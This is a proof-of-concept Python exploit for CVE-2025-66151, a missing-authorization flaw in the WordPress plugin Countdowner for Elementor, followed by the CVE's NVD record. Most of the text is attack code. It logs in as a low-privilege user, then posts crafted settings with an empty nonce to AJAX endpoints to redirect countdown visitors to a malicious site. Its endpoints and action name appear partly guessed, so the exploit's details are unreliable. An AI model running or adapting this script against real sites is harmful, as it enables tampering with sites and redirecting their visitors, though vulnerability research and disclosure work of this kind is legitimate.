CVE-2025-66151

# CVE-2025-66151 PoC - Countdowner Elementor Authorization Bypass # Affected: Countdowner for Elementor <= 1.0.4 # Type: Missing Authorization import requests import sys target_url = "http://target-wordpress-site.com" username = "attacker" password = "attacker_password" def exploit_cve_2025_66151(): """ This PoC demonstrates the authorization bypass vulnerability in Countdowner Elementor plugin. The plugin fails to properly check user capabilities before performing privileged actions. """ session = requests.Session() # Step 1: Login to WordPress with low-privilege account login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f"{target_url}/wp-admin/", 'testcookie': '1' } login_response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return False print("[+] Login successful with low-privilege account") # Step 2: Exploit authorization bypass to access admin functions # Common vulnerable AJAX endpoints in the plugin vulnerable_endpoints = [ f"{target_url}/wp-admin/admin-ajax.php", f"{target_url}/wp-content/plugins/countdowner-elementor/includes/admin-ajax.php" ] # Step 3: Send unauthorized request to manipulate countdown data exploit_data = { 'action': 'countdowner_save_settings', 'countdown_id': '1', 'countdown_settings': '{"expiry_action":"redirect","redirect_url":"http://malicious-site.com"}', 'nonce': '' # Missing or weak nonce validation } for endpoint in vulnerable_endpoints: try: response = session.post(endpoint, data=exploit_data, timeout=10) if response.status_code == 200: print(f"[+] Sent exploit request to {endpoint}") print(f"[+] Response: {response.text[:200]}") return True except requests.exceptions.RequestException as e: print(f"[-] Error connecting to {endpoint}: {e}") continue return False if __name__ == "__main__": print("CVE-2025-66151 PoC - Countdowner Elementor Authorization Bypass") print("=" * 60) exploit_cve_2025_66151()

{"cve": {"id": "CVE-2025-66151", "sourceIdentifier": "[email protected]", "published": "2025-12-31T19:15:44.380", "lastModified": "2026-04-23T15:35:28.310", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in merkulove Countdowner for Elementor countdowner-elementor allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Countdowner for Elementor: from n/a through <= 1.0.4."}, {"lang": "es", "value": "Vulnerabilidad de autorización faltante en merkulove Countdowner para Elementor permite la explotación de niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a Countdowner para Elementor: desde n/a hasta 1.0.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/countdowner-elementor/vulnerability/wordpress-countdowner-for-elementor-plugin-1-0-4-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}